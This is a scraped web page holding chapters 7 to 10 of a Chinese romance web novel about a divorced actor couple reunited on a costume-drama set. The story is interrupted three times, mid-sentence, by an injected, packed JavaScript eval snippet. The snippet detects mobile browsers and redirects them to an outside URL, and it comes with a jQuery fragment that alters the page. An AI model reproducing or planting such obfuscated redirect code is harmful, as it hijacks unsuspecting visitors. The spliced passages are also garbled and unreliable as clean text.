他并没有睁开眼,却能自动定位似的,被扔开的手反手一抓,习惯性地把人扯过来抱着睡。 还没等云灯发火,他又自己松开了,完全清醒地坐起身来,皱着眉摸她的额头,“怎么这么烫。” 体温表上数字逼近三十八度。量完云灯觉得不算高,只是可惜提前准备的感冒冲剂算白喝了,“小天那儿有退烧药,待会儿我吃点早饭再问她要。” 叶平川仍拧着眉,看她起床收拾,很快地准备出门,“上班啦。” 今天也有很多事要做。 前期女主跟段长骁的对手戏很密,一拍就是大半天。江煜很早就到片场等待,还给她带了早餐,听她说已经吃过了也没失落,等下午又掏出一大把点心零食。 云灯挑了颗巧克力糖,笑道,“你这都快赶上小卖部了。” “补充能量嘛,吃点才有力气拍戏。”江煜关怀道,“姐姐,我看你脸色不太好,是不是低血糖啊。” 她不置可否地笑笑,“那你的糖还挺及时的。” 江煜脸红起来,看她手指打滑撕不开包装,连忙帮忙暴力拆除糖纸,又规规矩矩地捧给她。 云灯含着糖跟他讲戏,声音柔和,唇齿间溢出的巧克力香味很甜。 他原本还想说,那巧克力糖是他自己最爱吃的一种,就剩最后一颗,居然正好被她挑走。他们的口味爱好真是投契。 可他怔怔地看着云灯的侧脸,许久也没讲出话来。 她身上有种很奇妙的气韵。清冷和温柔如此自然地融合在一起,糅杂成一种难以探测的神秘感,仿佛是独属于成熟女人的魅力。 “还可以对我更凶一点吗?”云灯问。 江煜蓦地回神,结结巴巴地说,“可,可以。” 以为他没理解到意思,云灯又耐心剖析,“你想,段长骁从沙场回来不久,战争里那种血气还没消散。所以整体的感觉要更激进,你说台词时语速也可以稍微快一点。” “是的,而且我本身就是容易被激怒的爆脾气。”江煜立刻明白,“如果你不接受我的心意,还有事瞒着我,我肯定会很生气很着急……但归根结底是因为很担心你。” “对,我们要的就是这个冲突感。”云灯招招手,让化妆师过来给他补妆,“明白了就再来一条。” 江煜本人性格比较谦和,饰演段长骁就少些横冲直撞的蛮劲儿。但他身上的少年感非常动人,这点是她和导演最看中的。 况且对男人而言,逞凶并不是什么难事。温柔才是罕有。 晚些时候叶平川先收工,又从另一个组晃了过来。 他不乐意看云灯跟别人花前月下,配合别人演那个郎情妾意的死出,哪怕只是工作。 但她早上走的时候有点发烧。拍完自己的戏份,叶平川还是马上就过来探班了。 云灯余光里看见他过来,不知怎么有些心虚,下意识地背过身,反手贴了一下额头。 更虚了。 她自己也觉得不太舒服,身体沉重乏力,但是没严重到不能工作的地步。而且下午拍的大多都是文戏,她不怎么需要活动,只要眼神定,台词稳,就不会有人发现她异常。 只有邓晓琼问她要不要休息。她说有点感冒,没什么事。 等收工后再拿温度计一量,三十九度二。 “啊,怎么会这样呢。”她语气非常严肃,像是故意严肃给谁看,“我需要去医院。” “……” 叶平川懒得吐槽她浮夸的演技,没让梁天跟着,自己开车带她去了医院,挂急诊输液退烧。 输液大厅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071689|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里人不多。他多拿了件衣服垫座位,云灯坐下之后还笑,“想起我们拍《无影之地》的时候,你有次也是半夜生病。陪你去输液,你嫌座椅太冰了硌屁股。” 那时候条件更艰苦。叶平川拍下水的戏着凉发烧,半夜人都快烧糊涂了。他们只能去离得最近的县城小诊所,连张能躺的木板床都没有,只能坐在冰冷的不锈钢椅子上靠着墙休息。 这种事叶平川都不敢往家里说,当妈的听了都要掉眼泪,“是啊。不过发着烧凉的椅子坐着也挺舒服的,主要是硌屁股。” 云灯坐着他叠了两叠的长羽绒服,一点也不硌得慌,“我手机快没电了。” 叶平川也给自己叠了个坐垫,在她旁边坐下,“跟我在一起不需要电。” “我晚上还要开剧本会呢。” “让梁天替你去了,要点她会记下来。” 叶平川早就看出她在强撑着精神,“睡会儿吧,药水没了叫你。” “好吧。”她轻轻叹了口气,眉心仍然一抽一抽的痛着,睫毛颤颤,“今天好漫长啊。原本以为医院很远呢,不想来的。还好你陪我来了。” 她总是知道该在什么样的时机里,恰到好处地示弱。 叶平川不以为意地哼了一声,察觉她歪头靠过来,又调整了一下坐姿,让肩膀的高度合适。 她靠得更舒服了,闭着眼睛表扬,“你对我可真好啊小马哥。” “不要再这么叫我。” “喔。你对我真好呀前夫哥~” “……” 叶平川说,“我这是讲义气。” 好歹当过两口子,他还能把人撇着不管吗。 云灯附和说是。 安静地靠了几分钟,她没有睡着,心里总是牵挂工作,“今天晚饭还没顾上吃呢。有点饿了。” “吃什么?”叶平川高冷地说,“这附近没什么外卖,我是不可能跑很远去给你买吃的。” “不用,我喝个东西就行。”她立刻直起身,要求很低,“医院里有卖热饮的机器,我忽然好想喝巧克力奶。” “就这么点追求。”叶平川去找自动贩卖机给她买热巧克力奶。 看着他走出几米距离,云灯就迅速地抓起手机,想看一眼工作消息。 由于手速比脑速更快,她输完生日密码解锁了手机,点进微信才反应过来,这好像是叶平川的手机。 他们用手机都没有戴壳的习惯,两台裸机长得一模一样。是叶平川拿错了手机。 意识到这点时已经晚了。锁屏居然被解开,她看着微信列表里的置顶,要退出的手指悬在屏幕上方,久久没有划下去。 叶平川的置顶依然是“灯灯大王”。 他们两个在家里幼稚得很,又爱演,说好了轮流当大王和小弟,可是她当老大的时候多很多,总是能找到各种理由使唤他干这干那。叶平川时不时就要嚷嚷两句不公平。 不过从那一天——她在海边问叶平川,要不要考虑跟她结婚的那一天起,他就再也没有嚷过。 这些事其实她也没特地去想过。只是在看到这个备注的瞬间,不知为何忽然涌入脑海,让她怀疑当初自己说的不是“想不想跟我结婚”,而是“想不想一辈子当我的小弟”。 难道在叶平川看来,这是一样的意思么? “在看什么?” 叶平川半路回来,把她抓个正着,语气不快,“想查我离婚之后有没有聊小姑娘?” “……” 云灯抬起头,转眼之间,表情已修饰得天衣无缝。 “只是想看天气预报,晚上回去会不会下雨。” 8. 第 8 章 天气预报的确显示今夜夜间会有小雨。她刚刚来的路上瞥见了消息推送。 叶平川没被她糊弄过去,买完饮料回来,连同她的手机一起没收,“休息几个小时剧组也不会完蛋。” “可是我真的睡不着。” 云灯喝着热巧克力奶,百无聊赖地阅读包装盒上的文字,“就这样什么都不做,也很浪费时间吧。” 叶平川眯起眼,“我怎么记得你以前是很推崇浪费时间的?” “以前是以前。最近这半年我过得太充实了,”她说,“忙得很爽,根本停不下来嘛。” 离婚后的这个几个月里,她日程排得很满。去上了导演编剧大师课,学习镜头语言的运用和剧本创作原理。白天跟着老师傅为新戏训练骑马射箭,晚上没事儿还在绿江文学城写点小短篇。 这些叶平川一点也不知道。离婚之后他们就没再说过话,最近的聊天就是云灯找他来拍戏。 他当时看见微信还想,真够不客气的。半年没动静,一开口就是让他来帮忙。没有感情,全是目的。 不愧是她。 “才几个月功夫,你就做这么多事?” “不然呢,”云灯反问,“难道我应该抱着我们的结婚照天天在家里以泪洗面?” “……” 倒也是。 毕竟非要离婚的人本就是她。称心如意了,应该爽得在家里乱蹦才对。 叶平川抬眼看她的药水吊袋,仰起脖颈的角度和姿势倒有几分忧郁。 片刻后,他说,“昨晚我梦见婚礼了。” 云灯晃了下神,怀疑是自己在说话。可她怎么发出了叶平川的声音,难道是发烧烧昏了头,“……谁?” “还能有谁的婚礼,当然是我们俩的婚礼。” 两人根本没对上思路。叶平川牛头不对马嘴地继续说,“梦里又走了一遍红毯。又听见程沐风说我,笑得跟地主家的傻儿子似的。说我影帝都当过了,怎么结个婚还控制不住表情啊。” 云灯这才听懂。 原来他也做了同一个梦。 别的夫妻同床异梦,他俩倒是神奇,都离了婚了,做梦还梦到一起。 “他说你,”云灯道,“那你有没有说回去点什么,捍卫自己影帝的尊严?” “我就说……这怎么控制啊,我今天结婚好不好。” 他又不像某些人巧舌如簧,不管好听话还是难听话,随口就能吐出一大串,“让你失望了,并没有捍卫到。” 影帝结婚也得狂喜啊,谁还顾得上表情管理。 那可是结婚。 他真的以为,一辈子只有一次的。 “不过后来我回想,你那天好像很冷静,起码比我冷静多了,跟结过八百次似的。” 叶平川难得叹了口气,停顿半晌,又轻声问,“那个时候,你就已经后悔了吗?” 输液大厅里人不多,很安静。他放轻声音,显得有些伤感,小心翼翼。 “没有。”云灯听不得他这种语气,心里也不是滋味,摇了摇头,“那时候只是觉得,我父母都不在,没有亲人坐在下面观礼,显得我的婚礼不如别人那么圆满。” “你坚持不肯邀请他们来婚礼。” “是啊,他们不配。”她说,“我只是在幻想刻板印象里那种阖家欢乐的场景而已,并不是想要亲生的那对父母出现在我面前。” 听起来似乎有些矛盾。她也很难要求叶平川这样的幸福小孩能够理解。 “如果你那天敢背着我偷偷把他们找来,搞什么惊喜变惊吓的戏码,说不定我真的会当场悔婚。” 叶平川冷哼一声,“我没那么蠢。” 他当然有想过查一查云灯的家庭背景,看是什么样的父母,让她连提都不愿意提起。但他也知道,万一这点小动作被她发现,两人必定要生一大场气。 而且说实话,能让云灯讨厌的人,他也并不想深入地了解或接触。为他们生气吵架就更划不来。 如果他是那么多事的性格,云灯压根也不会想要跟他结婚。 喝完了热牛奶,她满足地靠回叶平川身上,酝酿困意。 药水滴答滴答地流淌。 叶平川低着头还在琢磨,自言自语似的说,“你说从一开始,想跟我在一起就是冲着热度高,想借机提升名气,是真的吗?” 这个问题,他从吵架的那晚就问了好几遍。 云灯没有回答他,安静地靠着他的肩膀,似乎已经睡熟了。 其实说不说也没有区别。他又不是不知道,答案只会是那么一个。 是他自己不死心,非要反复确认,自取其辱。 越想越无语。叶平川坐在那生闷气,真不懂自己离都离了,怎么还心甘情愿地跑来供她使唤。 云灯本来是懒得说话在装睡,没想到靠了一会儿真睡着了。医院里坐着睡当然不如酒店的床垫舒服,但她反而睡得更沉,也没有做什么乱七八糟的梦。 退烧药的效果充分发挥,她睡到近乎昏迷,直到输完液拔了针,还没有清醒过来的迹象。 叶平川一只手按着棉签,蹲下来扯她的脸,“还不起来?要回去了。” “不要……不回家。”她终于有了些反应,勉强睁开眼睛笑了笑,下一秒却又支撑不住地往前倒。 像只蝴蝶扑在他身上。灼热的呼吸洒在耳边,和亲吻的距离没多少差别,让人恍惚不知今夕是何年。 叶平川僵在原地,耳根烧红了一片。可她就这么安静下来,再没有别的动作,似乎抵着他的肩膀又睡着了。 叶平川恨恨地咬牙,“真是欠你的!” 他骂了一句,把不知所谓的人抓起来粗暴地扛在肩上,大步往外走。 走到车旁拉开门,把人放进副驾驶位,他又不自觉地轻了力道,还调整座椅系好安全带。 做完这一切,叶平川坐在驾驶位上斜眼看着她没心没肺地甜睡,恨不得给自己一巴掌。 云灯毫无察觉,一路不省人事,快到酒店时才悠悠转醒。 头不疼了,身体却软得像被抽走了骨头,瘫在座椅上动也不想动。 她发现了自己手背上的淤青,不可思议道,“你虐待我。” “……” 输液的针孔没好好按压,肿起来了。她皱起眉毛责怪,“我的手这么好看,明天还要拍特写的。” “对。我就应该把你和你漂亮的手一起留在医院。”叶平川冷冷道,“一觉睡到明天直接开拍,肯定特别好看。” 有良心吗这人,有一点点吗。 “怎么这么容易生气?”云灯打了个呵欠,伸手想戳他的脸,被他偏头躲开。“别影响我开车。” 梁天得到消息,提前下楼在酒店门口接两人,正在脑补小夫妻俩甜甜蜜蜜地从医院回来呢。 没想到车一停,两侧车门各开各的。云灯下车就先打了个哆嗦,“这么冷,怎么在外面等?” 叶平川绷着张脸去开后门,拿起后座上的外套扔到她身上。听见梁天说,“今天白天……哦不对,昨天白天姐你不是说川哥那个房间不好,要换一间吗?我已经拿到房卡了,正好带你们过去呀。” “……” 叶平川嗤笑,本就不虞的脸上更是布满寒霜,“效率挺高。” 梁天本能地认领了这句,“哈哈,应该的。”只是这位怎么脸色看着不太对劲呢。 云灯笑眯眯地搂她的肩膀,也夸了句,“做得好小天,带我们上去吧。” 梁天立刻释然了,毕竟老板满意最重要,“好,姐你拿着这个,我跟酒店要的热水袋。” 前半夜下了场小雨,地上返着潮湿的水气。才下车说了几句话,被夜风一吹,云灯的手又冰凉。 她虽然个子小小,但身体很敦实,时常觉得一阵风过来就能把又高又瘦的老板吹散架。可没办法,即使不健康还容易生病,要当上镜的女明星,就只能这样。 梁天时不时心生怜惜,“姐你能走吗?刚输完液是不身上没劲儿啊?要不你靠着我走吧。” “哪有那么夸张。”云灯被她逗笑,朝她被风吹起毛的发顶摸了一把,“我自己能走。你把帽子戴上,冷风吹了头疼。” “哦哦,好的。” 叶平川冷眼看着她们相亲相爱。 他陪着在医院坐了半晚冷板凳,又开几个小时的车往返,怎么就没人问他有没有劲儿走路,风吹了冷不冷? 梁天跟个小红帽似的,穿了件带毛球坠的改良款斗篷,戴着兜帽,在前面走着带路。 还没出停车场,不知怎么云灯走着走着就落了半步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071690|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,渐渐地与他并肩。 倏忽间一只手摸索过来,把热水袋塞给了他。云灯抬起下巴靠近他,用手指挡着嘴小声说,“你拿着吧。我烧得全身出汗,用不上这个。” 交接热水袋的片隙,叶平川牵了一下她的手,果然烫得很。 勉强替她消受这份好意。 他沉默地把热水袋换另一只手拿,猎猎冷风里,已经牵住的手也没有放开。 余温交替。 等到了楼上,两人之间那种紧张气氛已经消失无踪。 梁天也觉得刚刚一定是自己出现了幻觉,老板这么好,哪里有人舍得跟她生气。 新房间已经收拾好,跟之前同样的房型,只是换了楼层,就在云灯房间的隔壁。 “明天的剧本也放在桌上啦。”梁天道,“改动过的部分不多,我都用荧光笔标出来了,邓导说先这样,到了片场看情况再调整。” 云灯也进来看了一圈,东西被安置得很妥贴。他的私人用品都原样挪过来,放在相同的位置,方便习惯性使用。挑不出什么毛病。 小助理又大受赞扬。喜笑颜开。 叶平川想她真是好本事,把身边人都调教得乖巧听话。跟训练小狗似的,还表扬。 他必不可能再踏进这种坑里。 他成熟冷静,放下了手中已经失温的热水袋,“知道了,都回去睡觉。” 梁天迅速道了晚安跑走。云灯又是落后半步,仅有两人的房间里,用一双温柔的眼睛望着他,“谢谢你今晚照顾我。” “大可不必。”叶平川说。 “我知道。你本来可以不管我的,但你来帮我,还这么辛苦地陪着我耗时间,我心里都会记得的。” 她伸出手,却没有再去牵缠,而是扯住叶平川的袖子,轻轻摇晃了两下就放开,认真地说,“这部戏对我真的很重要。我们好好地把它拍完,杀青之后,有什么话再慢慢地谈。好不好?” 叶平川视线追随着她的指尖,仿佛心也被牵扯着,忽上忽下地晃了两晃。 他总觉得这还是云灯逃避话题的权宜之计,是想要稳住他,好好为她所用。可嘴角抿了又抿,还是说不出一句重话。 “你回去不要再加班了。” 她露出微笑,乖乖地说,“好。那我们明天片场见。” 叶平川双手插兜,半靠在茶水柜上不言不语地看着她,很酷地点了一下头。 ** 跟叶平川的私事一时半刻纠缠不清,总不能让他隔几天就拉出来问一遍为什么。耽误事不说,也太消耗精力了。 云灯躺在床上,感觉自己脑子里对结婚离婚之类的词语都快PTSD了,实在是不愿再想。 接下来要拍摄的戏份也不轻松。 剧情发展到一桩举世震动的朝廷命案,皇帝特派大臣谢凭渊前去淮阴县实地查案,又令武将段长骁从旁协助,护其周全。 段婉心听说哥哥要去跟谢大人一起查案,小脑袋瓜灵光一闪,干脆拉着言秋乔装改扮成小厮,混入出行队伍之中,只为找到那天令她一见倾心的暗卫哥。 这点掩人耳目的小伎俩怎么可能跑得脱少年将军的眼睛。可队伍已经出发,再改道送她们回家也耽误事,段长骁便只好应允,说妹妹们在家里憋坏了,想出来游山玩水,趁道见见世面。 剧组也换了场地。影视城够大,江南水乡的造景相当还原,精致生动又不乏生活气息。 主角一行人的服装风格亦有变化。褪去京中常穿的绫罗绸缎,改换布衣素钗,两个姑娘恍若清水芙蓉,更显标志。 不过云灯对戏服的面料有点过敏,身上起了刺痒的小红疹,不得不又让小天买了过敏药,跟昨晚医生开的消炎药一起吃。 她半夜去医院打吊针的事已经在剧组里传开了。江煜做好妆造看她还在大把吃药,不由得担心,过来嘘寒问暖。 化妆间里只有两人,但这场戏叶平川也在,肯定马上也要过来。想想他那脾气,云灯就委婉地暗示,让这弟弟多关注剧本,少关心别的。 她少操点心,说不定还能多活几年。 没想到江煜会错了意。 “灯灯姐,其实我,其,其实……”他红着脸,咬了一下嘴唇,鼓起勇气说,“其实我知道,你跟叶老师已经离婚了,对不对。” 9. 第 9 章 云灯没什么明显的惊讶反应,只是眉心一跳,唇边弧度扩大了些。 要很熟悉她的人——比如叶平川在场,才能认得出,这是她杀心骤起的标志。 “嗯?”她温柔地笑道,“你是从哪里听来这消息的?” “我有个很久之前就认识的朋友,他在当狗仔。” 江煜说完,又立刻澄清,“不过他不是故意去跟踪你们的!就是那天恰好碰到,手里又正好有设备……他拍了照,后来一起吃饭的时候喝多了才说的。” 被拍到的照片云灯并不十分担心。狗仔就算要爆料,也会先来找正主谈价格,无非是钱多钱少的问题。她会叫叶平川去摆平。 她不爽的是同在一个组里拍了好几天的戏,自己居然没看出这小子还藏着一手。 有种被人捏住了把柄的感觉。 云灯又嗯了一声,视线淡淡地扫过化妆镜,把这种不爽表露出些许。 江煜也很会看眼色,连忙再补充,“你放心灯灯姐,我只是无意之中知道的,从来没有跟别的任何人提起过。我会替你保守秘密的!” “我只是觉得……都已经离婚了,你还要被迫和他一起拍戏,要顾忌很多,肯定也很不自在吧。我有点,有点……” 云灯说,“有点心疼我?” 江煜脸红得粉底都盖不住,鼓足勇气点了一下头。 他还有更不好意思说的话。 其实他很早就看过云灯的电影,《潮夜》上映时她的剧照海报贴满了大街小巷,他还在公司里当练习生,硬是半夜跟室友溜出宿舍三刷,每一遍看都惊为天人。 说是影迷也不为过。 那时候他就在想,自己走到女神身边需要多久。从练习生出道,到成团首秀,再到转型成为演员,每一个职业生涯可堪记录的时间节点,他都会暗暗计算自己和云灯的距离。 当初云灯和叶平川官宣结婚,他还伤心了许久呢。 时过境迁,他终于抓住机会,跟云灯同组拍戏,甚至还是有这么多对手戏的角色。 “其实,你的每一部作品我都看过,也看了很多采访,还有纪录片。”甚至是微博里面,她时不时跟粉丝互动的那些评论留言。 在剧组相处的这些时间,江煜确信她比已经了解到的还要善解人意,才敢把自己知情的事曝露出来,“你真的是个特别特别有灵气有天赋的演员,我……” 敲门声忽然响起,“磨叽什么呢。” 叶平川一身绯红色的文官官服,上绣折枝花孔雀,束发戴冠。面如冠玉却阴沉如霜,不声不响就出现在化妆间门口,男鬼似的。 云灯想他来这里拍戏,脸色好像就没晴过。 “叶老师好。”江煜站直了,规规矩矩地打招呼。 虽然心里的成见堆成小山,面子上的事还是得做足。毕竟他是后辈,依然要表现得谦卑有礼。 “嗯。”叶平川目光越过他,抬了抬下巴,“出来一下,有事跟你说。” 云灯老师又不是后辈。 江煜觉得他这么说话很没有礼貌。 云灯却没有生气,只是挑了一下眉,也没问是什么事,最后照了下镜子,起身走出去。 “是剧本有什么问题吗?”云灯问。 “你把我置顶备注删了。”叶平川同时开口,语气非常不满。 “我昨天晚上回去才发现。谁准你随便乱动的?你觉得你现在还有干涉我微信的权力么?” “好嘛,是我做得不对。”面对质问,她的回答堪称简短有力,知错不改的典范。 “但我也是为你着想。都离婚了你还留着备注,万一被别的小女孩看见了,误会了,多影响你焕发第二春呢。” “用不着你替我考虑那么多。” 叶平川说,“你别拿自己那套来揣度我。到底是谁想找第二春啊?就屋里那小孩,他那个眼神一看就想往你身上使劲儿,为了讨你欢心什么话都说得出来。” “那能有什么办法?谁让我漂亮又有才华。”她说,“喜欢上我也是人之常情。” “……” 叶平川无法反驳这点,气得笑了一声,拂袖走人。 怎么不和灯灯大王说再见。 云灯愉快地朝他的背影挥了挥手,深藏功与名。 气气他,对马上要拍的戏也有好处。 比起京城宅院的富丽堂皇,江南园林的景致是很不同的。曲径回廊,亭台水榭,最常见的绿植是竹林与芭蕉,不仅幽静清趣,也是吟风弄月的好地方。 正赶上这几天下雨,更添了层烟雨朦胧的意境。两个姑娘无法外出逛街,查案也不急于一时,四人便都坐在一起煮茶听雨,赏景闲谈。 本应是闲谈。不知何时起,演变成了言秋与谢凭渊的辩论。 从谈史,到论政。 谢凭渊暗自心惊。 这姑娘看着是深居简出,温柔沉静的模样,没想到居然能与他在这儿引经据典地谈论国事。 甚至还是个激进的主战派。 有那么一瞬间,他从言秋的脸上看到了自己年少时的影,同样意气风发,心怀天下,渴望用自己的思想做武器去改变这个世界。 然则理想与现实的距离,何止是隔了一百个言秋与谢凭渊。许多从书中思考得来的道理,在实践里是行不通的。 他并不因言秋年纪小而一笑置之,而是颇为耐心地,以为官的经验娓娓道来,纠正那些理想化的不可行之处。 言秋仍未明白,只觉得他身处高位,拥有影响这个国家前途命运的权力,为何却瞻前顾后,畏手畏脚。 谢凭渊很久没被人这样评价,险些被气笑。 这是两人第一次产生矛盾,碰撞出火花四射。也是言秋第一次在人前展示出身上的锐气,即便是身旁两位青梅竹马的兄妹,都感到陌生。 她的眼眸明亮如焰,唯有初升的太阳可以媲美。 段长骁只擅长打仗,谈论兵书还行,对政治不通。段婉心更是听得一头雾水,不明白他们在吵什么。 兄妹俩在旁边阿巴阿巴听了半天,眼看两人要生气了,“要不……要不咱去吃蟹吧!听说今日送来的大闸蟹尤其鲜活肥美,我给你们剥!” 言秋撇嘴,垂首不语,看着还有点不服气。 还是个孩子呢。 谢凭渊露出不易察觉的笑意,就那么一点气性也消失得无影无形,率先放轻了声音,“县府的藏书阁里有历年案情卷宗,若明日得空同行,你可去看看。” 不能出门的日子里,将军府的藏书都已被她看了个七七八八。言秋闻言心动,但姿态还没放下,只颇为矜持地点了一下头。 夜里要睡时,在榻上跟小姐妹说起来,还骂他是个假道行的老顽固。 “你可真胆大啊。”段婉心抱着鹅羽枕头,一声声感慨,“我见着那谢大人,只觉得高山仰止。你竟然敢同他吵嘴呢。” “我没有想要跟他吵。”言秋下意识道,“我只是……” “只是什么?”段婉心凑近了些。烛火在她光洁如玉的脸上映动。 言秋抱膝坐在床边,凝神思忖,乌黑长发绸缎般光泽流泄,披了满背。发尾被她牵住一绺,在指尖一圈圈绕着小旋。 和谢凭渊争辩时变得急促的呼吸,激烈而无序的心跳,到底意味着什么? 仿佛也是这时,她才明白过来,自言自语般呢喃,“我只是……想得到他的认同。” 更深露重。云灯赤着脚坐在床上,拍完这一条已经冷得膝盖麻木。摄像机一停,梁天立刻捧着绒毯和热水袋过来给她盖上。 云灯腿上盖着毯子,踩着热水袋跟导演讨论镜头,冻僵的脚慢慢恢复知觉,“这个表情没拍出来。光从左边过来,我脸再侧一点会更好吧?” “对,而且你还可以演得再纠结点,白天刚吵完架嘛。” 邓晓琼说,“虽然你们暂时政见不同,但你这个人还是很慕强的,再加上谢凭渊确实长得好看啊。这会儿你一想到他就是那种——心动跟不爽混合,暗暗地较着劲的感觉。” “明白。”云灯问,“那要心动更多,还是不爽更多一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071691|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?你看哪种更好。” “刚才那条是不爽更多,你再演个心动更多的版本看看。” “行。” 熟人在一起拍戏就是省劲,彼此想要什么效果一点就通。 孟瑜在旁边听得很认真,下了戏,又跟着云灯问,“可是女孩子如果心动的话,不会表现得害羞……或是紧张之类的吗?毕竟之前都没喜欢过人诶。” “心动并没有固定公式,没人规定一定要表现得害羞才像女孩子。”云灯耐心道。 “当然,那样演也是可以的。不过我是脸皮超厚的类型,喜欢谁就只想着要折腾折腾他,哪有功夫害羞呢。” “啊,这,”孟瑜惊讶之余,感到十分佩服,“你是在说言秋……还是自己?” “你猜呢。” 她还有些反应不过来。云灯又笑道,“跟你哥说,明天晚上收工一起去叶老师那儿吃火锅。” 大概是因为演了对兄妹。比起剧中的cp暗卫哥,她私底下跟江煜还更玩得来些。 云灯先斩后奏。回去再跟叶平川说,果然引起不满,“干嘛来我房间里吃?” 满屋子都是火锅味儿,晚上怎么睡觉。 “你房间和我离得近,吃完就可以去我那儿睡。”她早就想好了说辞,“正好让人收拾,也不耽误休息。” 叶平川一顿,勉强答应,“那行吧。” 戏还没拍完,去外面火锅店有点兴师动众,下了班同事几个在屋里吃吃喝喝,热闹热闹,氛围就正好。 梁天兴致勃勃地准备食材,还买了水果啤酒和烧酒,弄来插线板和一口鸳鸯锅,在茶几上摆得满满当当。 也叫了导演。不过邓晓琼女朋友来探班,带着人过来吃了两口就走了。人家自己也有夜生活。 “我以前还差点跟富姐闹过绯闻。” 云灯夹着藕片吹气,“她当时的女朋友背影跟我很像,喝多了俩人在酒店门口激吻,被狗仔拍到。第二天照片登出来说我潜规则导演,搂着她往死里亲。” “还有这种事!”孟瑜猛呛一口可乐,瞪圆了眼睛,“反向潜规则?真的会有人信吗。” “会呀。不过发照片的是个小营销号,发出去热度还没起来,不到两个小时我经纪人就去联系删掉了。” 云灯幽幽叹气,“很可惜,我没有站在大马路上把人往死里亲的爱好。” “……” 叶平川也呛了一口,用一言难尽的眼神看向她。 这个话题,他是屋里最有发言权的人。但是他决定不予评价。 江煜也只安静地涮肉,脸一会儿红一会儿白的,不晓得在脑补什么。 “叶老师还在想白天的吵架戏?” 看他不说话,孟瑜主动活跃气氛,“你们私底下吵架也是这样吗?该不会从来不吵架吧哈哈哈。” 她听以前合作过演员朋友说,叶平川私下是个性格潇洒不羁,且开朗健谈的人。 但是她实际看到的叶老师……跟传闻里好像不太一样。起码话少很多。 或许只是慢热? 她猜到云灯把大家叫过来一起吃火锅,应该也是为了破冰的。 “诶,你别说,”梁天吸溜着粉条,嚼嚼嚼,“他们好像确实不吵架。” 反正做助理的这几年,她就没见过两人红过脸。不过云灯本身性格也随和,很少疾言厉色地跟人说话。 云灯一边笑着听他们猜测,一边放下筷子,剥鸡蛋壳。 她有一些莫名其妙的爱好,包括但不限于吃火锅的时候喜欢放卤蛋,放进去煮几分钟再捞出来,只吃蛋白。 叶平川被她取消晚饭有几天了,这会儿埋头吃得比谁都认真。听到她敲蛋壳的声音,也没抬头,自然地把碗往她手边推。 身体记忆犹在。离了婚也还是得吃老婆的剩饭。 云灯剥出一颗完整的蛋黄,放进他碗里,又推了回去。 火锅沸腾着辛辣的香气。两个人没有交谈,各吃各的。 “怎么会呢。”云灯说,“我们当然也有吵过。” 10. 第 10 章 他们俩第一次吵架可以追溯到很多年前,还在拍《无影之地》的时候。 因为对剧情理解的意见分歧,谁都无法说服谁。叶平川骂她冷血动物不近人情,她骂叶平川英雄主义异想天开。 那次吵得导演都没劝住,只能默默清场,独留两人继续沟通。 后来不知道怎么,吵着吵着就亲起来了。 大概是叶平川气极了又说不过她,觉得那样叫她闭嘴见效比较快。 “哇。”梁天听得津津有味,连嗦粉都忘记了,“那你们是还没拍完电影就已经在谈了呀!” “快杀青才谈的。”云灯若有所思地摸了摸下巴,“那次只能算是唇友谊。” “……” 叶平川只有以上六点想说。 他无语的表情很好笑。孟瑜端着碗的手都在抖,恨不能把脸低进蘸料里去。 “没关系的,可以笑。”云灯善良道,“你叶老师又不是那种开不起玩笑的人,对吧。” “是啊。而且叶老师刚杀青就过来,接档接这么紧,肯定是对我们这部戏特别看好吧。”江煜忽然接话,“还是说,单纯因为云灯老师呢?” 这会儿倒是不姐姐姐姐的叫了。 叶平川淡淡地回应,“你云灯老师挑剧本的眼光,向来很好。” 说了跟没说一样,打太极的功夫有进步。 云灯很满意。 原定男主临时跑路的消息着实不光彩,还是越少人知道越好。 “那……你们肯定不是合作电影才认识的吧。”江煜又问,“云灯姐出道的电影那么火,叶老师你肯定也看过很多次吧?” 这小破孩,是想找机会炫耀自己对云灯的电影了解很多。 “我还真不太知道。”叶平川表现出一位老艺术家的从容,“她不让看。” “是的。”云灯镇定道,“我这个人就是比较容易害羞。” “……”孟瑜困惑地看着她。 老板的性格还真是随机应变呢。 叶平川也不太懂。 《潮夜》首映时他跟同学去看过一次,记得是个暗黑系救赎爱情故事。云灯在里面饰演一名家道中落的女高中生,家庭和学校里都被霸凌,无所依靠。某个雨夜里意外地遇到富少男主,在他的帮助下走起了爽文路线,报仇雪恨并收获爱情。 剧情堪称老套,但电影镜头的氛围感和对人物的刻画引人入胜。除此之外,并没有什么特别的地方。 出道至今拍了那么多作品,别的云灯都不介意,唯独只有《潮夜》,在一起后就再也不许他看,提都不准提。 